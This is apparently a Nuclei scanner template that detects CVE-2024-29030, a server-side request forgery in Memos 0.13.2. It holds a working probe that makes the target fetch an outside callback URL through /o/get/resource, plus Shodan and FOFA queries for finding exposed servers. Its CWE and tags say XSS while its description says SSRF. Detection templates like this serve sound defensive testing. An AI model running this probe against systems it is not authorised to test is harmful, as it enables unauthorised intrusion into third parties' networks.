id: CVE-2024-29030

info:
  name: Memos 0.13.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/api/resource` that allows authenticated users to enumerate the internal network.
  impact: |
    Attackers can force the server to make requests to arbitrary destinations, potentially accessing internal services or sensitive data.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/resource?url=https://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(tolower(body), "memos")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220051ecc08025c7de3745ba2e74253e46e3ce52cb7359620b90f924d4c76b38cf2022100e4b87e3c037f61521bf3c2b86153f2acb22a3b19216682cc01697db8203051b8:922c64590222798bb761d5b6d8e72950